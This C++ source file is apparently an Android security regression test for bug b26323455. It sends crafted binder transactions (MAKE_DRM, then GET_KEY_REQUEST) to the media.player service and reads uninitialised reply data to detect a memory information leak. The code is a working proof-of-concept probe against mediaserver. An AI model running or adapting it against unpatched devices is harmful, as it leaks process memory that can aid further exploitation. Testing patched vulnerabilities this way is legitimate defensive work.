1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 *      http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #include <android/log.h>
17 #include <arpa/inet.h>
18 #include <binder/IServiceManager.h>
19 #include <binder/Parcel.h>
20 #include <binder/ProcessState.h>
21 #include <binder/TextOutput.h>
22 #include <drm/DrmConstraints.h>
23 #include <drm/DrmConvertedStatus.h>
24 #include <drm/DrmInfo.h>
25 #include <drm/DrmInfoRequest.h>
26 #include <drm/DrmInfoStatus.h>
27 #include <drm/DrmMetadata.h>
28 #include <drm/DrmRights.h>
29 #include <drm/DrmSupportInfo.h>
30 #include <fcntl.h>
31 #include <media/IMediaPlayer.h>
32 #include <media/IMediaPlayerClient.h>
33 #include <media/IMediaPlayerService.h>
34 #include <mediadrm/IDrm.h>
35 #include <sys/stat.h>
36 #include <sys/types.h>
37 #include <sys/wait.h>
38 
39 using namespace android;
40 
41 int INFO_LEAK_BUFFER_SIZE = 256;
42 
doInforLeakTest()43 int doInforLeakTest() {
44   sp<IServiceManager> sm = defaultServiceManager();
45   sp<IBinder> mediaPlayerSevice = sm->checkService(String16("media.player"));
46 
47   sp<IMediaPlayerService> iMediaPlayerService =
48       IMediaPlayerService::asInterface(mediaPlayerSevice);
49 
50   Parcel data, reply;
51   data.writeInterfaceToken(iMediaPlayerService->getInterfaceDescriptor());
52   IMediaPlayerService::asBinder(iMediaPlayerService)
53       ->transact(2 /*MAKE_DRM*/, data, &reply); //MAKE_DRM : 2 (N & O branch), 6 (M Branch)
54   sp<IDrm> iDrm = interface_cast<IDrm>(reply.readStrongBinder());
55 
56   Parcel data2, reply2;
57   data2.writeInterfaceToken(iDrm->getInterfaceDescriptor());
58   IDrm::asBinder(iDrm)->transact(7 /*GET_KEY_REQUEST*/, data2, &reply2);
59   reply2.readInt32();
60   reply2.readInt32();
61   unsigned int leaked = reply2.readInt32();
62 
63   ALOGE("leaked data: 0x%08x", leaked);
64 
65   return (leaked == 0 ? 0 : 1);
66 }
67 
main(void)68 int main(void) {
69   int leaked = 0;
70   for (int i = 0; i < 20; i++) {
71     leaked = doInforLeakTest();
72     if (leaked) {
73       ALOGE("IOMX_InfoLeak b26323455");
74       break;
75     }
76   }
77   return 0;
78 }
79